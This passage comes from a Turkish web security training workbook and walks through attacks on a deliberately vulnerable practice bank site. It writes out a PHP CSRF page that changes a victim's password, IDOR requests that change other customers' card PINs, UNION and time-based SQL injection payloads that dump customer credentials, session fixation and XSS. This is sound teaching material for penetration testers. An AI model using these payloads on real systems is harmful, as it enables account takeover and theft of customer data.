Bu bilgilerle giriş yapılırken giden istekte uygulamanın atadığı user_id değeri (user_id=8) görülebilir. Parola bilgisi ise 100008’dir. Bu noktada parola bilgisinin user_id değerine göre belirlendiği düşünülebilir.
GET / HTTP/1.1 Host: isube.bgabank.com User-‐Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:28.0) Gecko/20100101 Firefox/28.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-‐Language: en-‐US,en;q=0.5 Accept-‐Encoding: gzip, deflate DNT: 1 Referer: http://isube.bgabank.com/giris.aspx Cookie: PHPSESSID=utaav0saru5r2t2kusvr21u4k5; u_a=7OhHhvLLFV8%3D; u_p=%2F2Ytv12Ui1o%3D; user_id=8; u__=true Connection: keep-‐alive
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 67
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Bu tahmini doğrulamak için Burp ile araya girilip müşteri numarası ve parola bilgisine fuzzing uygulanır. b_musterino ve b_password parametrelerine fuzzing yapılır. Sağ tıklanıp Intruder’a gönderilir.
Şekil 65. Payload Positions
Intruder sekmesine geçilir ve payload 1 kısmı (b_musterino) için ayarlar şekil 66. da ki gibidir.
Şekil 66. Intruder Ayarlar
68 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Payload 2 (b_password) için ayarlar şekil 67 de ki gibidir.
Şekil 67. Payload 2 Ayarlar
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 69
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Bu ayarlar ile saldırı başlatılır ve şekil 68 deki gibi başka bir kullanıcıya ait kullanıcı bilgisi elde edilebilir.
Şekil 68. Başka Bir Kullanıcı
70 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
26. Havale İşleminde Mantık Hatası (Havale Yaparak Bakiye Arttırma) BGABank uygulaması Havale/EFT işlemlerinde gönderilecek miktar kısmında -‐ (negatif) bir değer girildiğinde kullanılabilir bakiyenin arttığı görülecektir. Şekil 69. da -‐10 lira gönderilmiştir.
Şekil 69. Para Havale İşlemi
Bakiyenin gönderim sonrasında ise 10009 lira (1 lira havale ücreti) olduğu görülebilir. (Şekil 70)
Şekil 70. Hesap Bilgileri
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 71
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
27. Dizin Listeleme/İfşa Zafiyeti URL http://isube.bgabank.com/assets/
http://isube.bgabank.com/assets/contents/ http://isube.bgabank.com/assets/admin/ http://isube.bgabank.com/style/
Tablo 23. Dizinler
İstemciler tarafından gelen URL istekleri bir dizini ifade etmesi durumunda, dizin içeriği listelenmektedir. Bu durum, bir saldırganın adını bildiği, öğrendiği ya da tahmin ettiği dizinlerin içeriğini listeleyebilmesine imkan vermektedir. Listelenen dosya ve klasörlerin arasında önemli bilgiler olabilir.
Şekil 71. Dizin Listeleme
72 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
28. Şifre Değiştirme İşlemi CSRF Zafiyeti ve İstismarı Senaryo: Hedef kullanıcı, sistemde müşteri numarası ve şifresi ile oturum açar. Saldırgan, müşteri şifresini değiştirip, hedef müşterinin hesabından kendi hesabına para aktarmayı amaçlamıştır. Bunun için normal bir müşteri gibi bankada hesap açtırır ve internet şubesini kullanmaya başlar. Şifre değiştirme sayfasında CSRF için herhangi bir önlem alınıp alınmadığını, alındıysa doğru çalışıp çalışmadığını veya atlatılıp atlatılamaya-‐ cağını araştırır. Araştırmalar sonucunda hedef müşteriye yollayacağı sayfayı kodlar. Kodladığı dosyayı internete yükler ve hedefine sosyal mühendislik ile dosyanın adresini gönderir. Müşteri, oturumu açıkken linke tıklar ve şifresi saldırganın istediği şekilde değiştirilmiş olur. Saldırgan amacına ulaşmıştır.
BGA Bank ‘da yukarıda anlatılan senaryo uygulanabilir. Şekil 72. de şifre değiştirme paneli gösterilmiştir.
Şekil 72. Müşteri Şifre Değiştirme Paneli
BGA Bank şifre değiştirme panelinde CSRF önlemi olarak şekil 72' de görüldüğü gibi forma "Eski Şifrenizi Giriniz " bölümü eklenmiştir. Fakat bu bölüm, sunucu tarafında kontrol edilmediğinden herhangi bir önemi yoktur. Amaç koruma var gibi gösterip, saldırganı yanıltarak CSRF denemesini engellemektir.
Saldırı adım adım aşağıda anlatılmıştır.
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 73
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
1) Saldırgan sisteme müşteri olarak kayıt olur. Şifre değiştirme panelini inceler ve hedefe göndereceği sayfayı uygun bir dilde kodlar.
<?php $ch = curl_init("http://isube.bgabank.com/ajax.php?sayfa=sifre.php&k5=11&k6=hacked&k7=hacked"); curl_setopt($ch, CURLOPT_HTTPHEADER, array("X-‐Requested-‐With: xmlhttprequest")); $result = curl_exec ($ch); curl_close ($ch); ?>
CSRF.php
Yukarıda belirtilen kod parçacığında 3. satırda belirtilen URL ‘e PHP-‐Curl kütüphanesi kullanılarak GET isteği gönderilmiştir. Sayfa tarayıca yüklenir yüklenmez veritabanındaki id si 11 olan kullanıcının şifresi “hacked” olarak değişecektir.
2) Saldırgan kodladığı sayfayı internete yükler. Bu dökümanda anlatım için yüklenilen adres tablo 24. de gösterilmiştir. (Örnektir)
URL http://www.bgabank.com/csrf.php
Tablo 23. Yüklenilen Dosya Adresi
3) Dosya linkini hedefe gönderir, göndermeden önce BGA Bank oturumunun açık olduğundan emin olur. (Şekil 73)
Şekil 73. Sosyal Mühendislik
74 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
4) Hedef, bankada oturumu açıkken maili görür ve belirtilen linke tıklar. (Şekil 74)
Şekil 74. Hedef Linke Tıklar
Şekil 75. Şifre Değişir
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 75
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
5) Sistemden çıkış yapan hedef kullanıcı tekrar hesabına eski şifresi ile giriş yapmayı dener ve erişemez çükü şifresi değişmiştir. (Şekil 76)
Şekil 76. Hedef Giriş Yapamaz
76 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
29. Kartlarım Sayfası Insecure Direct Object References Zafiyeti ve İstismarı BGA Bank kartlarım sayfasına erişen bir kullanıcı ya da saldırgan,get veya post isteklerinde araya girip değişiklik yaparak başka kullanıcıların kart bilgilerine erişebilir ve eriştiği bilgileri istediği gibi değiştirebilir. Aşağıda adım adım başka bir kullanıcının kart şifresinin değiştirilmesi anlatılmıştır.
Şekil 77. Kartlarım Parola Değiştirme Formu
1) Kullanıcı olarak giriş yapılır ve şifre değiştirme sistemi hakkında burp ile araya girilerek sunucuya gönderilen veriler hakkında bilgi edinilir.
Şekil 77. de belirtilen form doğru biçimde doldurulur ve butona tıklanır. Başarılı bir şekilde parolanın değiştiği görülecektir. Bu kısımda forma doldurulan verilerin, sunucu tarafına hangi metot ile hangi parametrelerin gönderildiği saptanmalıdır. Eğer müşteri numarası ya da kart numarası gizli olarak form parametreleri arasında gönderiliyorsa, müşteri/kart numarası manipüle edilerek başka kullanıcıların kart bilgileri değiştirilebilecektir.
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 77
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Şekil 78. Parametre Değerlerinin Analizi
Şekil 78. de görüldüğü gibi kart numarası gönderilen parametreler arasında yer almaktadır. Bu değer 8 olarak değiştirilip yeni şifre ataması yapıldığında 8 numaralı kartın şifresi belirtilen şifre olarak değiştirilecektir. Herhangi bir değişiklik yapmadan önce yapılan değişikliği gösterme adına kartlar tablosunda yer alan 8 numaralı kartın bulunduğu satırın görüntüsü şekil 79. da verilmiştir.
Şekil 79. Parametre Değerlerinin Analizi
2) k_id değeri başka bir kart numarası (8) ile değiştirilir ve şifre değerlerine istenilen bir değer (270694) yazılır. (Şekil 80)
Şekil 80. Parametre Değerlerinde Manipülasyon İşlemi
78 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Sonuç şekil 81. de gösterilmiştir. Başka müşteriye ait kart parolası başarıyla değiştirilmiştir.
Şekil 81. Insecure Direct Object References Sonuç
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 79
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
30. Şubeler Sayfası SQL Injection Zafiyeti ve İstismarı Şekil 82. de gösterilen sayfada il seçimi yapılıyor. Bu sayfada bulunan sql injection zafiyetinin tespiti ve istismarı aşağıda adım adım gösterilmiştir.
Şekil 82. Şubeler Sayfası
1) İl seçimi yaparken Burp Suite kullanarak HTTP protokolünde istek olarak hangi verilerin/parametrelerin sunucuya gönderiliği öğrenilir.
Bu kısımda Burp Suite'in "Repeater" aracından faydalanılacaktır. Proxy sekmesine düşen isteğe şekil 83. de ki gibi sağ tıklanarak "Send to Repeater" seçilir.
Şekil 83. Send To Repeater
80 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Repeater ile bir istek tekrar tekrar gönderilip dönen cevaplar aynı pencere içinde görüntülenebilir. Repeater'a gönderilen isteğin görüntüsü şekil 84. 'de gösterilmiştir. Sol taraf gönderilen isteği, sağ taraf ise dönen cevabı barındırır.
Şekil 84. Repeater
"Go" butonuna tıklandığında normal bir istek için dönen cevap sağ tarafta şube listesi olarak görünecektir. k1 parametresi 34 olduğundan İstanbul'da bulunan şubeler cevap kısmında listelenmiştir.
2) SQL injection payload yazılır
SQL dilinde "order by" keywordu kayıtları sıralamada kullanılır. SQL injectionun tespitinde önemli yere sahiptir. Bir tabloda eğer 5 kolon varsa order by değeri 5 ve 5'ten az bir değer alabilir ama 5'ten büyük bir değer, mesela 6 yapıldığında hata meydana gelecektir. Bu hatanın meydana geldiği değerden bir önceki değer yani 5 değeri tablodaki kolon sayısını belirtir. Bu sayede hata alana kadar değeri arttıran saldırgan, tablodaki kolon sayısını bulabilir.
Kolon sayısı neden gereklidir? Uygulama geliştirici bir SQL cümlecik yazmıştır ve saldırgan bu cümleciğe ekleme yapmak istiyordur. Var olan bu SQL cümlesinin yanında bir SQL cümlesini daha çalıştırmak için UNION keywordu kullanılır. Bu keywordun özelliği ise bir önceki cümlede kullanılan tablonun sahip olduğu kolon sayısını kullanmasıdır. Örneğin ilk cümlede 6 kolon varsa uniondan sonraki cümlede de 6 kolon kullanılmalıdır.
Union keywordu kullanarak yeni bir sorgu çalıştıran saldırgan, bu sorgu ile istediği verilere rahatça ulaşabilir.
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 81
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Şekil 85 ve 86 da order by ile hata alınmadan hemen önceki değer ile hata alınılan değer gösterilmiştir. k1 parametresinde kullanılan payload: 34'/**/order/**/by/**/8;/**/
Şekil 85. Hata Alınmadan Önceki Görüntü
Şekil 86. Hata Alınılan Görüntü
Şekil 85. ve 86. dan da anlaşılacağı gibi union 'dan sonra çalıştırılacak cümlede 8 kolon kullanılmalıdır. k1 parametresinden sonra -‐34'/**/union/**/select/**/1,2,3,4,5,6,7,8;/**/ yazıldığında sonuç şekil 85.deki gibi olur.
34 değerinin başına -‐ koyulmasının nedeni -‐34 değerinin veritabanında karşılığının bulunmamasıdır. İller tablosunda -‐34 diye bir plaka olmadığından sayfa temizlenir ve sadece union verileri görünür bu da saldırganın çalışmasını rahatlatır.
Şekil 87. Çalışan Union Sorgusu ve Sonucu
82 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Şekil 88. de union sorgusundan sadece 2 ve 3 getirilmiştir. union cümleciğinde şekil 17.de ki gibi 2 yerine @@version yazılırsa, sql serverin versiyonu öğrenilebilir.
SQL payload: 10'/**/union/**/select/**/1,@@version,3,4,5,6,7,8;/**/
Şekil 88. SQL Injection Versiyon Öğrenme
Sadece versiyon bilgileri vs değil, BGA Bank müşteri numaraları ve şifreleri de çekilebilir. Şekil 89. da müşteri numaraları ve şifrelerinin çekimi gösterilmiştir. Bunun için kullanılacak payload:
-‐34'/**/union/**/select/**/1,m_numarasi,m_sifre,4,5,6,7,8/**/from/**/bnk_musteriler;/**/
Şekil 89. BGA Bank Müşteri Numaraları ve Şifreleri
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 83
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
31. İşlem Özeti Filtreleme Web Service SQL Injection Anlatılan SQL injection açıklıklarından farkı Web Service kullanılarak istismar edilmesidir. Şekil 90. da filtreme paneli gösterilmiştir. Bu kısımda kullanıcı tarafından girilen değerler web servis tarafından işleme tabi tutulur ve yine web servis ile cevap döndürülür.
Şekil 90. BGA Bank İşlem Özeti Filtreleme Paneli
SQL injection tespiti için web servisleri debug etmek için kullan SOAPUI aracından yararlanılacaktır. Bunun için wsdl dosyasının bulunduğu konum bulunmalıdır. Sayfanın kaynak koduna bakıldığında geliştiricinin wsdl yolunu yorum olarak bıraktığı görülecektir. (Şekil 91.) Bu da bir zafiyettir.
84 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Şekil 91. BGA Bank "hesaplarim.aspx" HTML Kaynak Kodu
Uygulama geliştirici kendi geliştirme ortamında kullandığı adresi kullanmıştır. Önemli olan domain adresi değil wsdl dosyasının yoludur.
SOAP Adres: http://isube.bgabank.com/service/rpc/BGABankService.php?wsdl
Zafiyet tespiti ve istismarı aşağıda adım adım anlatılmıştır.
1) SOAPUI programında yukarıdaki adres ile yeni bir proje oluşturulur. (Şekil 92)
Şekil 92. File -‐> New Soap Project
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 85
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
2) Parametre değerleri girilerek web servise istek gönderilir. (Şekil 93.)
Şekil 93. SoapUI İstek ve Cevap
Gönderilen değerler:
<hesap_no xsi:type="xsd:string">TR400340100000000000020037</hesap_no> <alt_sinir xsi:type="xsd:int">1</alt_sinir> <ust_sinir xsi:type="xsd:int">100</ust_sinir> <islem_tipi xsi:type="xsd:string">giden</islem_tipi>
3) SQL injection zafiyeti islem_tipi parametresinde bulunmaktadır. İstimarı için kullanılacak payload: -‐giden" union select 1,2,3,m_sifre,m_numarasi,6,7,8,9,m_adi from bnk_musteriler; bu payload ile müşteri numaraları ve şifreleri çekilecektir. (Şekil 94)
Şekil 94. SQL Injection İstismarı
86 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
32. BGA Bank Session Fixation Saldırısı Saldırı aşağıda adım adım anlatılmıştır.
Saldırgan: Mustafa Balaban Hedef Kullanıcı: Ahmet Kalayci
1) Saldırgan sisteme giriş yapar ve bir sessionid alır. (sessid: magc9jf9pks4a56ip8htg9ai27)
Şekil 95. Saldırganın Aldığı SessionID
2) Hedef kullanıcıya tıklaması için kendi aldığı session id ye sahip bir link (Tablo 24) gönderir ve kullanıcı bu linke tıklayıp giriş yapar.
URL http://isube.bgabank.com/giris.aspx?PHPSESSID=magc9jf9pks4a56ip8htg9ai27 Tablo 24. Link
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 87
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Şekil 94. Hedef Kullanıcı Sisteme Giriş Yapar
3) Saldırgan sayfayı yenilediğinde hedef kullanıcı oturumuna erişir.
Şekil 95. Sonuç
88 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
33. HTML Yorum Satırlarında Bilgi İfşası Uygulamanın çeşitli sayfalarında, geliştirici tarafından bırakılan ve önemli bilgiler barındıran yorum satırları bırakılmıştır. Tablo 25. 26. ve 27. de yorum satırlarının bulunduğu linkler ve bilginin türü belirtilmiştir.
URL http://isube.bgabank.com/insan-‐kaynaklari.aspx
Bilgi Yüklenen dosyanın yüklendiği dizinin adresi (Şekil 96)
Tablo 25. İnsan Kaynakları Sayfası
Şekil 96. İnsan Kaynakları Sayfası HTML Kaynak Kodu
URL http://isube.bgabank.com/giris.aspx
Bilgi Yönetim Paneli Dizini (Şekil 97)
Tablo 26. Müşteri Giriş Paneli
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 89
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Şekil 97. Müşteri Giriş Sayfası HTML Kaynak Kodları
URL http://isube.bgabank.com/hesaplarim.aspx?ID=1
Bilgi Web Servis WSDL dosya adresi (Şekil 98)
Tablo 27. Müşteri Giriş Paneli
Şekil 98. İşlem Özeti HTML Kaynak Kodları
90 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
34. Şifre Değiştirme Panelinde Şifre Form Kontrolünü Atlatma
URL http://isube.bgabank.com/sifre.aspx
Tablo 28. Şifre Değiştirme Sayfası
Şifre değiştirme sayfasında yer alan filtremele javascript ile yapıldığından, araya girilerek eski şifre hiç bir kurala tabi tutulmadan, istenilen şekilde değiştirilebilir. Şekil 99. da araya girilmeden şifre “deneme” yapılmak istenmiş ve “Şifre en az bir rakam içermelidir (0-‐9)” hatası alınmıştır.
Şekil 99. Şifre Değiştirme Paneli Hata
Kaynak kodlara bakıldığında javascript kullanılarak, şekil 99 daki gibi kısıtlamalara gidilmiştir. (Şekil 100)
Şekil 100. Javascript Kısıtlamalar
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 91
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Javascript kodları son kullanıcı tarafında yani tarayıcıda çalıştığı için tarayıcı ile sunucu arasına herhangi bir proxy programı (Burp Suite, ZAP vs.) girilip bu kısıtlamalar atlatılabilir. Aşağıda Burp Suite kullanılarak şifre “deneme” olarak değiştirilmiştir. 1) Şifre değiştirme paneline yeni şifre olarak kurallara uygun olan “BGA123” girilir ve istek Burp Suite ile yakalanır. (Şekil 101)
Şekil 101. Şifre Değiştirme Burp Suite
2) İstek tablo 28. deki gibi k6 ve k7 parametreleri “deneme” olarak değiştirilip gönderilir.
GET /ajax.php?sayfa=sifre.php&k5=11&k6=deneme&k7=deneme HTTP/1.1 Host: isube.bgabank.com User-‐Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0 Accept: text/html, */*; q=0.01 Accept-‐Language: en-‐US,en;q=0.5 Accept-‐Encoding: gzip, deflate Content-‐Type: text/plain; charset:UTF-‐8 X-‐Requested-‐With: XMLHttpRequest Referer: http://isube.bgabank.com/sifre.aspx Cookie: PHPSESSID=d8qgu1gdtocdrjlbh7u6r01aq2; guest=FALSE DNT: 1 Connection: keep-‐alive
Tablo 29. Burp Suite Şifre Değiştirme GET İsteği
92 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
3) Sonuç, şifre başarıyla değiştirilmiştir. (Şekil 102)
Şekil 102. Şifre Değiştirme
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 93
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
35. Diğer Müşterilere Bağlı Kart Şifrelerini Değiştirme
URL http://isube.bgabank.com/kartlarim.aspx
Tablo 30. Kartlarım Sayfası
Sisteme herhangi bir müşteri olarak giriş yapıldıktan sonra tablo 30 da belirtilen adrese gidildiğinde, sahip olunan kartlar ve bunlara atanan şifre değiştirme paneli görünecektir. (Şekil 103)
Şekil 103. Kartlarım Sayfası
94 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Burp Suite ile şifre değiştirilirken araya girilir. Şekil 104. de kırmızı ile işaretlenen alanda k_id parametresi dikkat çekmektedir. Kart id olarak nitelendirilebilecek bir parametre olduğundan, değeri değiştirilerek başka bir müşteriye ait olan kart şifresi değiştirilebilecektir.
Şekil 104. Burp Suite Kart Şifre Değiştirme
Şekil 105. de k_id değeri 9 olan kartın şifresi belirtilmiştir.
Şekil 105. Kart ID Değeri 9 Olan Kartın Şifresi
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 95
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Live HTTP Header ile ilk adımda yakalanan GET isteği tablo 31 deki gibi düzeltilerek tekrar gönderirlir.
GET /ajax.php?sayfa=kartlarim.php&k_sifre=1234&k_sifret=1234&k_id=9 HTTP/1.1 Host: isube.bgabank.com User-‐Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0 Accept: text/html, */*; q=0.01 Accept-‐Language: en-‐US,en;q=0.5 Accept-‐Encoding: gzip, deflate Content-‐Type: text/plain; charset:UTF-‐8 X-‐Requested-‐With: XMLHttpRequest Referer: http://isube.bgabank.com/kartlarim.aspx Cookie: PHPSESSID=quhvru5q4setihnriatfgicva4; guest=FALSE DNT: 1 Connection: keep-‐alive
Tablo 31. Burp Suite Şifre Değiştirme GET İsteği
Şekil 106 da görüldüğü gibi şifre 1234 olarak değiştirilmiştir.
Şekil 106. Değiştirilen Şifre
96 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
36. Şubeler Sayfası Reflected XSS Zafiyeti ve İstismarı
URL http://isube.bgabank.com/subeler.aspx Tablo 32. Şubeler Sayfası
1) Burp Suite açıkken Tablo 32 de belirtilen adrese girilip şehir seçilir ve istek Burp Suite ile yakalanır. (Şekil 107, 108)
Şekil 107. Şehir Seçilir
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 97
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Şekil 108. Burp Suite ile Yakalanır
2) k1 parametre değeri repeater’a gönderilip değiştirildiğinde HTML kodlar arasında girdinin yer aldığı görülür. (Şekil 109) 40 yapılan değer kodlar arasına girmiştir. (Şekil 110)
Şekil 109. Send to Repeater
Şekil 110. Hata Mesajı
98 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
3) Tekrar proxy sekmesine dönülür ve payload k1 parametresinin değeri payload (<script>alert(1);</script>) ile değiştirilip “forward” butonuna tıklanır. (Şekil 111)
Şekil 111. Payload Yazılır
4) Sonuç (Şekil 112)
Şekil 112. Sonuç
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 99
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
37. İçerik Parametresi Time-Based SQL Injection Zafiyeti ve İstismarı
URL http://isube.bgabank.com/index.php?icerik=kobi
HTTP Talep Türü GET
Payload " AND SLEEP(10) AND 1=1;
Parametre icerik
Tablo 33. Giriş Sayfası SQL Injection Zafiyet Bilgileri
Tablo 33. de zafiyet bilgileri yer almaktadır. Payload uygulandığıda tarayıcının 10 sn beklediği görülecektir. (Şekil 113)
Şekil 113. Time-‐based SQL Injection
Tablo 34. de sqlmap komutu ve çıktısı gösterilmiştir. Burada da görüldüğü gibi Time-‐based SQL Injection zafiyeti tespit edilmiştir.
Komut
sqlmap.py -‐u "http://isube.bgabank.com/index.php?icerik=kobi" -‐-‐dbms=mysql -‐-‐level 3 -‐-‐risk 3
Çıktı GET parameter 'icerik' is vulnerable. Do you want to keep testing the others (if any)? [y/N] sqlmap identified the following injection points with a total of 148 HTTP(s) requests: -‐-‐-‐ Place: GET Parameter: icerik Type: boolean-‐based blind Title: OR boolean-‐based blind -‐ WHERE or HAVING clause Payload: icerik=-‐1929" OR (5708=5708) AND "ucpT"="ucpT
100 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Type: UNION query Title: MySQL UNION query (NULL) -‐ 10 columns Payload: icerik=-‐7748" UNION ALL SELECT NULL,NULL,CONCAT(0x716d6e6371,0x6a77424147486f576675,0x7176717771),NULL,NULL,NULL,NULL,NULL,NULL,NULL# Type: AND/OR time-‐based blind Title: MySQL > 5.0.11 OR time-‐based blind Payload: icerik=-‐7089" OR 4772=SLEEP(5) AND "VCGC"="VCGC -‐-‐-‐ [21:58:56] [INFO] the back-‐end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: Apache 2.4.7, PHP 5.5.9 back-‐end DBMS: MySQL 5.0.11
Tablo 34. Sqlmap Komutu ve Çıktısı
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 101
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
38. Kodlarına Ulaşılabilir Dosyalar Uygulama geliştirici bazen eski dosyaları silmek istemez sonuna veya başına herhangi bir karakter atıp adını değiştirebilir. Eğer atılan karakter, dosya uzantısında ise, dosya okunur hale gelmektedir. Tablo 35. de belirtilen adreslerde bu zafiyet mevcuttur.
Adres 1. http://isube.bgabank.com/index.php~ (Şekil 114)
Adres 2. http://isube.bgabank.com/assets/contents/tr/havale-‐eft.php~ (Şekil 115)
Tablo 35. Kodlarına Ulaşılabilir Dosya Adresleri
Yukarıdaki adreslere gidilip, sayfa kaynağı görüntülendiğinde, php kaynak kodları görülecektir. (Şekil 114,115)
Şekil 114. havale-‐eft.php Dosyası Kaynak Kodları
102 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Şekil 115. index.php Dosyası Kaynak Kodları
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 103
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
39. User-Agent Başlık Bilgisinde Stored XSS Zafiyeti ve İstismarı Müşteriler, müşteri temsilcisine mesaj gönderdiklerinde, müşteri temsilcisi mesajlar panelinde, müşterinin mesajı gönderdiği, User-‐Agent bilgisini de görebilmektedir. (Şekil 116)
Şekil 116. User-‐Agent Bilgisi
Burada saldırgan User-‐Agent bilgisini değiştirip XSS payload yazarak, müşteri temsilcisinin cookie bilgilerini çalabilir.
104 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
1) Burp Suite ile mesaj gönderilirken araya girilir ve User-‐Agent kısmına (Şekil 117) XSS payload yazılır. (Şekil 118)
Şekil 117. User-‐Agent Bilgisi
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 105
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Şekil 118. Değiştirilen User-‐Agent Bilgisi
İstekten Dönen Cevap
HTTP/1.1 200 OK Date: Sun, 21 Sep 2014 16:18:54 GMT Server: Apache/2.4.7 (Ubuntu) X-‐Powered-‐By: PHP/5.5.9-‐1ubuntu4.4 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-‐Control: no-‐store, no-‐cache, must-‐revalidate, post-‐check=0, pre-‐check=0 Pragma: no-‐cache L-‐IP: 172.16.16.100 Content-‐Length: 7 Keep-‐Alive: timeout=5, max=100 Connection: Keep-‐Alive Content-‐Type: text/html success
106 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
2) Müşteri temsilcisi mesajı görüntülediğinde XSS payload çalışır. (Şekil 119)
Şekil 119. Müşteri Temsilcisi Çalışan Payload
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 107
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
40. Haberdar Ol Sayfası SQL Injection Zafiyeti ve İstisamarı
URL http://isube.bgabank.com/haber-‐ver.aspx
HTTP Talep Türü POST
Payload "/**/ORDER/**/BY/**/2;
Parametre k1
Tablo 36. Haberdar Ol Sayfası SQL Injection Zafiyet Bilgileri
Tablo 37. de bilgileri verilen SQL injection zafiyeti Haberdar Ol sayfasında bulunmaktadır. (Şekil 120) Bu sayfada bulunan forma, mail adresi formatından başka bir şey yazılamadığı görülmektedir. Javascript ile yapılan kısıtlamarı atlatmak için, Burp Suite kullanılır. Zafiyet tespiti aşağıdaki adımlarla yapılır.
Şekil 120. Haberdar Ol Sayfası
